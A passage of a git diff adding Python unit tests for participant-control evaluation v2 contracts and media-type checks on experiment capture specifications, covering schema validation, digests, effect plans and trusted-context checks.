"exact", + "required_constraints": [], + "effective_support": observed, + "relation": "exact", + "evidence": [ref("support-relation")], + } + ) + plan = derive_control_effect_plan_v2( + parent_crossing=request.context.crossing, + decisions=[ + { + "decision_id": "result-rule", + "disposition": "permit", + "rule": ref("decision-rule", "rule"), + "reasons": [ref("decision-basis")], + } + ], + effects=[], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + composition = derive_control_composition_v2(request, results, support, [], plan) + return { + "schema_version": "participant-control-evaluation/v2", + "evaluation_id": "evaluation-v2", + "request": request.model_dump(mode="json"), + "invocations": invocations, + "results": [item.model_dump(mode="json") for item in results], + "support": support, + "lost_advice": [], + "effect_plan": plan.model_dump(mode="json"), + "state_proposals": [], + "composition": composition.model_dump(mode="json"), + "commit": { + "expected_history_heads": [item.model_dump(mode="json") for item in request.context.expected_history_heads], + "coverage_digest": control_digest(request.applicability), + "result_digests": [control_digest(item) for item in results], + "decision_digest": control_digest(plan), + "state_proposal_digests": [], + "effect_intent_digests": [], + "effects_consumed": request.context.effects_consumed, + "status": "prepared", + "receipt": None, + "dispatchable_effect_ids": [], + }, + } + + +def test_evaluation_v2_requires_complete_support_and_atomic_record_bindings(): + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + + payload = _evaluation_v2() + document = ParticipantControlEvaluationV2Model.model_validate(payload) + assert document.composition.disposition == "eligible" + payload["support"].pop() + with pytest.raises(ValueError, match="support"): + ParticipantControlEvaluationV2Model.model_validate(payload) + + +@pytest.mark.parametrize("status,expected", [("stale", "stale"), ("weakened", "weakened")]) +def test_required_result_status_retains_its_composition_disposition(status, expected): + from raes_contracts.contracts.participant_control_applicability import ParticipantControlRequestV2Model + from raes_contracts.contracts.participant_control_decisions_v2 import ControlEffectPlanV2Model + from raes_contracts.contracts.participant_control_evaluation_v2 import derive_control_composition_v2 + + payload = _evaluation_v2() + payload["results"][-1]["status"] = status + payload["results"][-1]["payload"] = None + request = ParticipantControlRequestV2Model.model_validate(payload["request"]) + plan = ControlEffectPlanV2Model.model_validate(payload["effect_plan"]) + composition = derive_control_composition_v2(request, payload["results"], payload["support"], [], plan) + assert composition.disposition == expected + + +def test_v1_history_cannot_be_parsed_as_amended_evaluation(): + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + + payload = evaluation_payload() + with pytest.raises(ValueError): + ParticipantControlEvaluationV2Model.model_validate(payload) + + +def test_v2_bounded_json_ingress_preserves_abstention_and_rejects_duplicate_members(): + import json + + from raes_contracts.contracts.participant_control_applicability import control_digest + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + from raes_contracts.contracts.participant_control_evaluation_v2 import ( + derive_control_composition_v2, + parse_participant_control_evaluation_v2, + ) + from raes_contracts.contracts.participant_control_invocation import ControlMechanismResultV2Model + + payload = _evaluation_v2() + payload["results"][-1]["payload"]["disposition"] = "abstain" + result = ControlMechanismResultV2Model.model_validate(payload["results"][-1]) + payload["commit"]["result_digests"][-1] = control_digest(result) + plan = derive_control_effect_plan_v2( + parent_crossing=payload["request"]["context"]["crossing"], + decisions=[], + effects=[], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + payload["effect_plan"] = plan.model_dump(mode="json") + payload["commit"]["decision_digest"] = control_digest(plan) + from raes_contracts.contracts.participant_control_applicability import ParticipantControlRequestV2Model + + request = ParticipantControlRequestV2Model.model_validate(payload["request"]) + payload["composition"] = derive_control_composition_v2( + request, payload["results"], payload["support"], [], plan + ).model_dump(mode="json") + parsed = parse_participant_control_evaluation_v2(json.dumps(payload)) + assert parsed.results[-1].payload.disposition == "abstain" + assert parsed.composition.disposition == "failed" + with pytest.raises(ValueError, match="invalid participant control evaluation"): + parse_participant_control_evaluation_v2('{"schema_version":"one","schema_version":"two"}') + + +def test_v2_effect_outcome_cannot_name_an_absent_effect(): + import json + + from raes_contracts.contracts.participant_control_decisions_v2 import ControlEffectPlanV2Model + from raes_contracts.corpus import corpus_family_root + + payload = json.loads( + ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ).read_text() + )["effect_plan"] + payload["effect_outcomes"] = [ + { + "effect_id": "absent-effect", + "disposition": "failed", + "receipt": ref("absent-receipt", "receipt"), + "evidence": [ref("outcome-evidence")], + } + ] + with pytest.raises(ValueError, match="outcome"): + ControlEffectPlanV2Model.model_validate(payload) + + +def test_v2_publication_has_exact_schema_and_separate_provider_protocol(): + import json + + from jsonschema import Draft202012Validator + from raes_backend_protocols.protocols import ParticipantControlProviderV2 + from raes_conformance.conformance.validators import contract_validation_strength + from raes_contracts.contracts import schema_bundle + from raes_contracts.corpus import corpus_family_root + + bundle = schema_bundle() + for contract_id, payload in ( + ("participant-control-selection-v2", _selection_v2()), + ("participant-control-evaluation-v2", _evaluation_v2()), + ): + schema = bundle[contract_id] + Draft202012Validator.check_schema(schema) + Draft202012Validator(schema).validate(payload) + published = corpus_family_root("schemas") / "participant-runtime" / (contract_id + ".json") + assert json.loads(published.read_text()) == schema + assert contract_validation_strength("participant-control-evaluation-v2") == "structural-context-required" + assert "resolve_stage" in ParticipantControlProviderV2.__dict__ + + +def test_v2_trusted_context_rejects_unresolved_coverage_and_support(): + from participant_control_contract_fixtures import crossing_payload + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + from raes_contracts.contracts.participant_control_resolution import ( + ParticipantControlValidationContextV2, + control_references, + validate_participant_control_resolved_context_v2, + ) + from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel + + record = ParticipantControlEvaluationV2Model.model_validate(_evaluation_v2()) + crossing = ParticipantCrossingOccurrenceModel.model_validate( + crossing_payload(record.request.context.model_dump(mode="json")) + ) + trusted = ParticipantControlValidationContextV2( + admitted_request=record.request, + admitted_crossing=record.request.context.crossing, + installed_bindings={item.instance_id: item for item in record.request.selection.bindings}, + resolved_coverage={item.obligation_id: item for item in record.request.applicability.coverage}, + resolved_results={item.slot_id: item for item in record.results}, + resolved_support={(item.obligation_id, item.instance_id): item for item in record.support}, + authorized_effects={}, + safe_references=frozenset(control_references(record)), + support_resolver=lambda item: True, + incumbent_gate_disposition="permit", + crossing_records=(crossing,), + crossing_subjects=(crossing.occurrence.subject,), + crossing_policies=(crossing.occurrence.policy,), + ) + validate_participant_control_resolved_context_v2(record, lambda _: trusted) + from raes_conformance.conformance.validators import validate_contract_payload + + assert ( + validate_contract_payload("participant-control-evaluation-v2", record.model_dump(mode="json"))[0].code + == "conformance.semantic-context-required" + ) + assert ( + validate_contract_payload( + "participant-control-evaluation-v2", + record.model_dump(mode="json"), + control_context_resolver=lambda _: trusted, + ) + == () + ) + from dataclasses import replace + + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2(record, lambda _: replace(trusted, resolved_coverage={})) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2( + record, lambda _: replace(trusted, support_resolver=lambda item: False) + ) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2( + record, lambda _: replace(trusted, incumbent_gate_disposition="deny") + ) + committed_payload = _evaluation_v2() + committed_payload["commit"]["status"] = "committed" + committed_payload["commit"]["receipt"] = ref("atomic-receipt", "receipt") + committed = ParticipantControlEvaluationV2Model.model_validate(committed_payload) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2(committed, lambda _: trusted) + validate_participant_control_resolved_context_v2( + committed, + lambda _: replace( + trusted, + commit_receipt=committed.commit.receipt, + safe_references=frozenset(control_references(committed)), + ), + ) + + +def test_v2_effect_authorization_binds_full_payload_and_cut(): + import json + + from participant_control_contract_fixtures import crossing_payload + from raes_contracts.contracts.participant_control_applicability import control_digest + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + from raes_contracts.contracts.participant_control_resolution import ( + ParticipantControlValidationContextV2, + control_references, + validate_participant_control_resolved_context_v2, + ) + from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel + from raes_contracts.corpus import corpus_family_root + + payload = json.loads( + ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ).read_text() + ) + record = ParticipantControlEvaluationV2Model.model_validate(payload) + crossing = ParticipantCrossingOccurrenceModel.model_validate( + crossing_payload(record.request.context.model_dump(mode="json")) + ) + assert record.effect_plan.runnable_effect_ids + from dataclasses import replace + + trusted = ParticipantControlValidationContextV2( + admitted_request=record.request, + admitted_crossing=record.request.context.crossing, + installed_bindings={item.instance_id: item for item in record.request.selection.bindings}, + resolved_coverage={item.obligation_id: item for item in record.request.applicability.coverage}, + resolved_results={item.slot_id: item for item in record.results}, + resolved_support={(item.obligation_id, item.instance_id): item for item in record.support}, + authorized_effects={control_digest(item): record.request.context for item in record.effect_plan.effects}, + safe_references=frozenset(control_references(record)), + support_resolver=lambda item: True, + incumbent_gate_disposition=record.effect_plan.incumbent_gate_disposition, + crossing_records=(crossing,), + crossing_subjects=(crossing.occurrence.subject,), + crossing_policies=(crossing.occurrence.policy,), + ) + validate_participant_control_resolved_context_v2(record, lambda _: trusted) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2( + record, + lambda _: replace( + trusted, + authorized_effects={item.effect_id: record.request.context for item in record.effect_plan.effects}, + ), + ) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2( + record, + lambda _: replace( + trusted, + authorized_effects={ + control_digest(item): record.request.context.model_copy(update={"sink_ref": "different-sink"}) + for item in record.effect_plan.effects + }, + ), + ) + + +def test_realized_effect_requires_prior_committed_full_intent_and_owner_outcome(): + import json + from dataclasses import replace + + from participant_control_contract_fixtures import crossing_payload + from raes_contracts.contracts.participant_control_applicability import control_digest + from raes_contracts.contracts.participant_control_coordinates import ParticipantControlContextModel + from raes_contracts.contracts.participant_control_decisions_v2 import ( + ControlEffectRequestV2Model, + derive_control_effect_plan_v2, + ) + from raes_contracts.contracts.participant_control_evaluation_v2 import ( + ParticipantControlEvaluationV2Model, + validate_effect_budget_v2, + ) + from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + ControlMechanismResultV2Model, + ) + from raes_contracts.contracts.participant_control_resolution import ( + ControlCommittedEffectIntentV2, + ParticipantControlValidationContextV2, + control_references, + validate_participant_control_resolved_context_v2, + ) + from raes_contracts.contracts.participant_crossing import ParticipantCrossingOccurrenceModel + from raes_contracts.corpus import corpus_family_root + + payload = json.loads( + ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ).read_text() + ) + effect = ControlEffectRequestV2Model.model_validate(payload["effect_plan"]["effects"][0]) + payload["commit"].update( + status="committed", + receipt=ref("origin-commit", "receipt"), + dispatchable_effect_ids=[effect.effect_id], + ) + origin = ParticipantControlEvaluationV2Model.model_validate(payload) + current = deepcopy(payload) + current["request"]["context"]["effects_consumed"] = 1 + current["request"]["context"]["prior_effect_claims"] = [ + { + "effect_id": effect.effect_id, + "key": effect.key.model_dump(mode="json"), + "content_digest": control_digest(effect), + } + ] + current["request"]["context"]["rule_firings"] = [ + { + "rule_id": effect.key.rule_id, + "rule_revision": effect.key.rule_revision, + "firing_epochs": [effect.key.firing_epoch], + } + ] + cut = ParticipantControlContextModel.model_validate(current["request"]["context"]) + old_digest, new_digest = control_digest(origin.request.context), control_digest(cut) + current = json.loads(json.dumps(current).replace(old_digest, new_digest)) + current["commit"].update( + coverage_digest=control_digest(origin.request.applicability), + effects_consumed=1, + status="prepared", + receipt=None, + dispatchable_effect_ids=[], + effect_intent_digests=[], + ) + current["request"]["applicability"]["context_digest"] = new_digest + by_slot = {item["slot_id"]: item for item in current["results"]} + for call in current["invocations"]: + for predecessor in call["predecessor_inputs"]: + predecessor["result_digest"] = control_digest( + ControlMechanismResultV2Model.model_validate(by_slot[predecessor["slot_id"]]) + ) + for slot_id in call["requested_slot_ids"]: + by_slot[slot_id]["invocation_digest"] = control_digest(ControlInvocationV2Model.model_validate(call)) + current["commit"]["result_digests"] = [ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in current["results"] + ] + outcome = { + "effect_id": effect.effect_id, + "disposition": "applied", + "receipt": ref("effect-applied", "receipt"), + "evidence": [ref("effect-owner-evidence")], + } + plan = derive_control_effect_plan_v2( + parent_crossing=origin.effect_plan.parent_crossing, + decisions=list(origin.effect_plan.decisions), + effects=list(origin.effect_plan.effects), + incumbent_gate_disposition=origin.effect_plan.incumbent_gate_disposition, + realized_effect_ids=(effect.effect_id,), + parent_applied=False, + effect_outcomes=[outcome], + ) + with pytest.raises(ValueError, match="retained committed intent claim"): + validate_effect_budget_v2(origin.request.context, origin.request.selection.bounds, plan) + current["effect_plan"] = plan.model_dump(mode="json") + current["commit"]["decision_digest"] = control_digest(plan) + current["commit"]["coverage_digest"] = control_digest( + origin.request.applicability.model_copy(update={"context_digest": new_digest}) + ) + record = ParticipantControlEvaluationV2Model.model_validate(current) + crossing = ParticipantCrossingOccurrenceModel.model_validate(crossing_payload(cut.model_dump(mode="json"))) + trusted = ParticipantControlValidationContextV2( + admitted_request=record.request, + admitted_crossing=cut.crossing, + installed_bindings={item.instance_id: item for item in record.request.selection.bindings}, + resolved_coverage={item.obligation_id: item for item in record.request.applicability.coverage}, + resolved_results={item.slot_id: item for item in record.results}, + resolved_support={(item.obligation_id, item.instance_id): item for item in record.support}, + authorized_effects={control_digest(effect): origin.request.context}, + safe_references=frozenset(control_references(record)), + support_resolver=lambda item: True, + incumbent_gate_disposition=record.effect_plan.incumbent_gate_disposition, + crossing_records=(crossing,), + crossing_subjects=(crossing.occurrence.subject,), + crossing_policies=(crossing.occurrence.policy,), + realization_receipts={effect.effect_id: plan.effect_outcomes[0]}, + ) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2(record, lambda _: trusted) + committed = ControlCommittedEffectIntentV2(evaluation=origin, outcome=plan.effect_outcomes[0]) + validate_participant_control_resolved_context_v2( + record, lambda _: replace(trusted, committed_effect_intents={effect.effect_id: committed}) + ) + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2( + record, + lambda _: replace( + trusted, + committed_effect_intents={ + effect.effect_id: replace( + committed, evaluation=origin.model_copy(update={"request": record.request}) + ) + }, + ), + ) + + +def test_v2_security_fact_requires_incumbent_crossing_and_flow_relation_owner(): + from dataclasses import replace + + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + ParticipantControlSelectionV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + from raes_contracts.contracts.participant_control_evaluation_v2 import ( + ParticipantControlEvaluationV2Model, + derive_control_composition_v2, + ) + from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + ControlMechanismResultV2Model, + ) + from raes_contracts.contracts.participant_control_resolution import ( + ParticipantControlValidationContextV2, + control_references, + validate_participant_control_resolved_context_v2, + ) + from test_api_424_security_profile import security_record_and_context + + legacy, owner = security_record_and_context() + selection_data = legacy.request.selection.model_dump(mode="json") + selection_data["schema_version"] = "participant-control-selection/v2" + selection_data["interpretation"] = "participant-control-applicability/rev1" + binding_data = selection_data["bindings"][0] + binding_data["protocol_revision"] = "participant-control-provider/v2" + binding_data["state_scope"] = { + "scope_id": "security-state", + "sharing": "participant", + "authority": binding_data["authority"], + "configuration_digest": binding_data["configuration_digest"], + } + selection_data["obligations"] = [ + { + "obligation_id": "security-fact", + "profile": binding_data["profiles"][0], + "required_kind": "ifc-fact", + "required_strength": "exact", + "constraints": [], + } + ] + selection = ParticipantControlSelectionV2Model.model_validate(selection_data) + cut = legacy.request.context + request = ParticipantControlRequestV2Model.model_validate( + { + "selection": selection.model_dump(mode="json"), + "context": cut.model_dump(mode="json"), + "applicability": { + "selection_digest": control_digest(selection), + "context_digest": control_digest(cut), + "applicable_slot_ids": ["fact"], + "required_slot_ids": ["fact"], + "coverage": [ + { + "obligation_id": "security-fact", + "status": "applies", + "slot_ids": ["fact"], + "evidence": [ref("security-coverage")], + } + ], + "derivation_evidence": [ref("security-applicability")], + }, + } + ) + invocation = ControlInvocationV2Model.model_validate( + { + "invocation_id": "security-invocation", + "instance_id": "influence", + "requested_slot_ids": ["fact"], + "binding_digest": control_digest(selection.bindings[0]), + "context_digest": control_digest(cut), + "predecessor_inputs": [], + "state_input": { + "scope": selection.bindings[0].state_scope.model_dump(mode="json"), + "state": cut.provider_states[0].state.model_dump(mode="json"), + "source": "committed", + "predecessor_invocation_id": None, + }, + "projection": ref("security-projection", "projection"), + } + ) + result_data = legacy.results[0].model_dump(mode="json") + result_data.update( + binding_digest=control_digest(selection.bindings[0]), + context_digest=control_digest(cut), + invocation_digest=control_digest(invocation), + ) + result = ControlMechanismResultV2Model.model_validate(result_data) + support = { + "obligation_id": "security-fact", + "instance_id": "influence", + "required_strength": "exact", + "required_constraints": [], + "effective_support": legacy.support[0].model_dump(mode="json"), + "relation": "exact", + "evidence": [ref("security-support")], + } + plan = derive_control_effect_plan_v2( + parent_crossing=cut.crossing, + decisions=[], + effects=[], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + composition = derive_control_composition_v2(request, [result], [support], [], plan) + record = ParticipantControlEvaluationV2Model.model_validate( + { + "schema_version": "participant-control-evaluation/v2", + "evaluation_id": "security-evaluation", + "request": request.model_dump(mode="json"), + "invocations": [invocation.model_dump(mode="json")], + "results": [result.model_dump(mode="json")], + "support": [support], + "lost_advice": [], + "effect_plan": plan.model_dump(mode="json"), + "state_proposals": [], + "composition": composition.model_dump(mode="json"), + "commit": { + "expected_history_heads": [item.model_dump(mode="json") for item in cut.expected_history_heads], + "coverage_digest": control_digest(request.applicability), + "result_digests": [control_digest(result)], + "decision_digest": control_digest(plan), + "state_proposal_digests": [], + "effect_intent_digests": [], + "effects_consumed": cut.effects_consumed, + "status": "prepared", + "receipt": None, + "dispatchable_effect_ids": [], + }, + } + ) + trusted = ParticipantControlValidationContextV2( + admitted_request=request, + admitted_crossing=cut.crossing, + installed_bindings={"influence": selection.bindings[0]}, + resolved_coverage={item.obligation_id: item for item in request.applicability.coverage}, + resolved_results={"fact": result}, + resolved_support={(item.obligation_id, item.instance_id): item for item in record.support}, + authorized_effects={}, + safe_references=frozenset(set(owner.safe_references) | set(control_references(record))), + support_resolver=lambda item: True, + incumbent_gate_disposition="permit", + crossing_records=owner.crossing_records, + crossing_subjects=owner.crossing_subjects, + crossing_policies=owner.crossing_policies, + flow_relations=owner.flow_relations, + flow_contexts=owner.flow_contexts, + ) + validate_participant_control_resolved_context_v2(record, lambda _: trusted) + for wrong in (replace(trusted, crossing_records=()), replace(trusted, flow_contexts={})): + with pytest.raises(ValueError, match="trusted-context"): + validate_participant_control_resolved_context_v2(record, lambda _, wrong=wrong: wrong) + + +def test_failed_required_composition_cannot_commit_parent_release_state(): + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + from raes_contracts.contracts.participant_control_evaluation_v2 import ( + ControlStateProposalV2Model, + ParticipantControlEvaluationV2Model, + derive_control_composition_v2, + ) + from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + ControlMechanismResultV2Model, + ) + + payload = _evaluation_v2() + request = ParticipantControlRequestV2Model.model_validate(payload["request"]) + payload["results"][-1].update(status="failed", payload=None) + proposal = ControlStateProposalV2Model( + invocation_id="invoke-fact", + scope=request.selection.bindings[0].state_scope, + before=request.context.provider_states[0].state, + after=ref("failed-parent-next-state", "provider-state"), + commit_on="parent-release", + predecessor_invocation_id=None, + ) + payload["results"][0]["next_provider_state"] = proposal.after.model_dump(mode="json") + by_slot = {item["slot_id"]: item for item in payload["results"]} + for call in payload["invocations"]: + for predecessor in call["predecessor_inputs"]: + predecessor["result_digest"] = control_digest( + ControlMechanismResultV2Model.model_validate(by_slot[predecessor["slot_id"]]) + ) + by_slot[call["requested_slot_ids"][0]]["invocation_digest"] = control_digest( + ControlInvocationV2Model.model_validate(call) + ) + plan = derive_control_effect_plan_v2( + parent_crossing=request.context.crossing, + decisions=[], + effects=[], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + payload["effect_plan"] = plan.model_dump(mode="json") + payload["composition"] = derive_control_composition_v2( + request, payload["results"], payload["support"], [], plan + ).model_dump(mode="json") + assert payload["composition"]["disposition"] == "failed" + payload["state_proposals"] = [proposal.model_dump(mode="json")] + payload["commit"].update( + result_digests=[ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in payload["results"] + ], + decision_digest=control_digest(plan), + state_proposal_digests=[control_digest(proposal)], + status="committed", + receipt=ref("failed-parent-commit", "receipt"), + ) + with pytest.raises(ValueError, match="mandatory composition.*parent release"): + ParticipantControlEvaluationV2Model.model_validate(payload) + + +def test_failed_required_composition_cannot_dispatch_independent_effect(): + import json + + from raes_contracts.contracts.participant_control_applicability import ( + ParticipantControlRequestV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_decisions_v2 import derive_control_effect_plan_v2 + from raes_contracts.contracts.participant_control_evaluation_v2 import ( + ParticipantControlEvaluationV2Model, + derive_control_composition_v2, + ) + from raes_contracts.contracts.participant_control_invocation import ControlMechanismResultV2Model + from raes_contracts.corpus import corpus_family_root + + payload = json.loads( + ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ).read_text() + ) + request = ParticipantControlRequestV2Model.model_validate(payload["request"]) + payload["results"][2].update(status="failed", payload=None) + effect = payload["results"][3]["payload"] + effect["allowed_parent_dispositions"] = ["permit"] + plan = derive_control_effect_plan_v2( + parent_crossing=request.context.crossing, + decisions=[], + effects=[effect], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + assert plan.parent_disposition == "permit" + assert plan.runnable_effect_ids == (effect["effect_id"],) + payload["effect_plan"] = plan.model_dump(mode="json") + payload["composition"] = derive_control_composition_v2( + request, payload["results"], payload["support"], payload["lost_advice"], plan + ).model_dump(mode="json") + assert payload["composition"]["disposition"] == "failed" + payload["commit"].update( + result_digests=[ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in payload["results"] + ], + decision_digest=control_digest(plan), + effect_intent_digests=[], + status="committed", + receipt=ref("failed-dispatch-commit", "receipt"), + dispatchable_effect_ids=[effect["effect_id"]], + ) + with pytest.raises(ValueError, match="mandatory composition.*dispatch"): + ParticipantControlEvaluationV2Model.model_validate(payload) + effect["allowed_parent_dispositions"] = ["deny"] + denied_plan = derive_control_effect_plan_v2( + parent_crossing=request.context.crossing, + decisions=[], + effects=[effect], + incumbent_gate_disposition="deny", + realized_effect_ids=(), + parent_applied=False, + ) + assert denied_plan.runnable_effect_ids == (effect["effect_id"],) + payload["effect_plan"] = denied_plan.model_dump(mode="json") + payload["composition"] = derive_control_composition_v2( + request, payload["results"], payload["support"], payload["lost_advice"], denied_plan + ).model_dump(mode="json") + payload["commit"].update( + result_digests=[ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in payload["results"] + ], + decision_digest=control_digest(denied_plan), + effect_intent_digests=[], + ) + with pytest.raises(ValueError, match="mandatory composition.*dispatch"): + ParticipantControlEvaluationV2Model.model_validate(payload) + effect["allowed_parent_dispositions"] = ["withhold"] + withheld_plan = derive_control_effect_plan_v2( + parent_crossing=request.context.crossing, + decisions=[], + effects=[effect], + incumbent_gate_disposition="permit", + realized_effect_ids=(), + parent_applied=False, + ) + assert withheld_plan.runnable_effect_ids == () + payload["effect_plan"] = withheld_plan.model_dump(mode="json") + payload["composition"] = derive_control_composition_v2( + request, payload["results"], payload["support"], payload["lost_advice"], withheld_plan + ).model_dump(mode="json") + payload["commit"].update( + result_digests=[ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in payload["results"] + ], + decision_digest=control_digest(withheld_plan), + effect_intent_digests=[], + ) + with pytest.raises(ValueError, match="mandatory composition.*dispatch"): + ParticipantControlEvaluationV2Model.model_validate(payload) + + +def test_duplicate_provider_effect_id_cannot_hide_an_earlier_request(): + import json + + from raes_contracts.contracts.participant_control_applicability import ( + ControlApplicabilityV2Model, + ParticipantControlSelectionV2Model, + control_digest, + ) + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + from raes_contracts.contracts.participant_control_invocation import ( + ControlInvocationV2Model, + ControlMechanismResultV2Model, + ) + from raes_contracts.corpus import corpus_family_root + + payload = json.loads( + ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ).read_text() + ) + selection = payload["request"]["selection"] + assessment = next(item for item in selection["slots"] if item["slot_id"] == "assessment") + assessment["kind"] = "effect-request" + rule = next(item for item in selection["slots"] if item["slot_id"] == "rule") + rule["dependencies"][0]["kind"] = "effect-request" + rule_call = next(item for item in payload["invocations"] if item["requested_slot_ids"] == ["rule"]) + rule_call["predecessor_inputs"][0]["kind"] = "effect-request" + payload["request"]["applicability"]["selection_digest"] = control_digest( + ParticipantControlSelectionV2Model.model_validate(selection) + ) + results = {item["slot_id"]: item for item in payload["results"]} + collision = deepcopy(results["audit-slot"]["payload"]) + collision["key"]["slot"] = "earlier-provider" + results["assessment"]["payload"] = collision + for call in payload["invocations"]: + for predecessor in call["predecessor_inputs"]: + predecessor["result_digest"] = control_digest( + ControlMechanismResultV2Model.model_validate(results[predecessor["slot_id"]]) + ) + for slot_id in call["requested_slot_ids"]: + results[slot_id]["invocation_digest"] = control_digest(ControlInvocationV2Model.model_validate(call)) + payload["commit"].update( + coverage_digest=control_digest(ControlApplicabilityV2Model.model_validate(payload["request"]["applicability"])), + result_digests=[ + control_digest(ControlMechanismResultV2Model.model_validate(item)) for item in payload["results"] + ], + ) + with pytest.raises(ValueError, match="duplicate provider effect identity"): + ParticipantControlEvaluationV2Model.model_validate(payload) + + +def test_independent_audit_remains_dispatchable_after_denial(): + import json + + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + from raes_contracts.corpus import corpus_family_root + + payload = json.loads( + ( + corpus_family_root("fixtures") + / "participant-runtime/participant-control-evaluation-v2/valid/later-phase-denial.json" + ).read_text() + ) + payload["commit"].update( + status="committed", + receipt=ref("denial-audit-commit", "receipt"), + dispatchable_effect_ids=payload["effect_plan"]["runnable_effect_ids"], + ) + record = ParticipantControlEvaluationV2Model.model_validate(payload) + assert record.composition.disposition == "deny" + assert record.commit.dispatchable_effect_ids + + +def test_published_v2_examples_cover_applicability_and_effect_boundaries(): + import json + + from jsonschema import Draft202012Validator + from raes_contracts.contracts import schema_bundle + from raes_contracts.contracts.participant_control_applicability import ParticipantControlSelectionV2Model + from raes_contracts.contracts.participant_control_evaluation_v2 import ParticipantControlEvaluationV2Model + from raes_contracts.corpus import corpus_family_root + + examples = ( + ("participant-control-selection-v2", "valid", "disjoint-sinks", True, True), + ("participant-control-evaluation-v2", "valid", "dependency-chain", True, True), + ("participant-control-evaluation-v2", "valid", "optional-failure", True, True), + ("participant-control-evaluation-v2", "valid", "later-phase-denial", True, True), + ("participant-control-evaluation-v2", "invalid", "unknown-field", False, False), + ("participant-control-evaluation-v2", "context-invalid", "missing-obligation", True, False), + ) + for contract_id, category, name, schema_valid, model_valid in examples: + path = corpus_family_root("fixtures") / "participant-runtime" / contract_id / category / (name + ".json") + payload = json.loads(path.read_text()) + assert Draft202012Validator(schema_bundle()[contract_id]).is_valid(payload) is schema_valid + model = ( + ParticipantControlSelectionV2Model if "selection" in contract_id else ParticipantControlEvaluationV2Model + ) + try: + model.model_validate(payload) + except ValueError: + assert not model_valid + else: + assert model_valid diff --git a/implementations/python/tests/test_issue_1401_media_type_coherence.py b/implementations/python/tests/test_issue_1401_media_type_coherence.py new file mode 100644 index 000000000..e8b3fafd9 --- /dev/null +++ b/implementations/python/tests/test_issue_1401_media_type_coherence.py @@ -0,0 +1,89 @@ +"""Required media declarations must be offerable and content-provable.""" + +from __future__ import annotations + +import io +import json + +import pytest +from pydantic import ValidationError +from raes_contracts.contracts import ExperimentCaptureSpecModel +from raes_contracts.evidence_satisfaction import validate_experiment_run_evidence +from test_issue_1112_capture_admission import ( + EVENT_STREAM_FIXTURE, + _capture_scenario, + _evidence_bundle, + _fixture, + _offer, +) + + +@pytest.mark.parametrize("media_type", ["text/plain", "application/x-ndjson", "application/vnd.tcpdump.pcap"]) +def test_sdl_rejects_unprovable_required_media_type(media_type: str) -> None: + scenario = _capture_scenario() + payload = scenario.evidence_requirements["attacker-action-log"].model_dump(mode="json") + payload["media_types"] = ["application/json", media_type] + requirement_model = type(scenario.evidence_requirements["attacker-action-log"]) + with pytest.raises(ValidationError, match="unsupported.*media type"): + requirement_model.model_validate(payload) + + +@pytest.mark.parametrize("media_type", ["text/plain", "application/x-ndjson", "application/vnd.tcpdump.pcap"]) +def test_capture_spec_rejects_unprovable_required_media_type(media_type: str) -> None: + payload = _fixture("experiment-capture-spec-v1") + requirement = next(iter(payload["capture_requirements"].values())) + requirement["expected_media_types"] = ["application/json", media_type] + with pytest.raises(ValidationError, match="unsupported.*media type"): + ExperimentCaptureSpecModel.model_validate(payload) + + +@pytest.mark.parametrize("media_type", ["application/json", "application/jsonl"]) +def test_explicit_contract_rejects_misleading_encoding(media_type: str) -> None: + payload = _fixture("experiment-capture-spec-v1") + requirement = next(iter(payload["capture_requirements"].values())) + requirement["output_contract"] = "experiment-evidence-record-v1" + requirement["expected_media_types"] = [media_type] + if media_type == "application/json": + 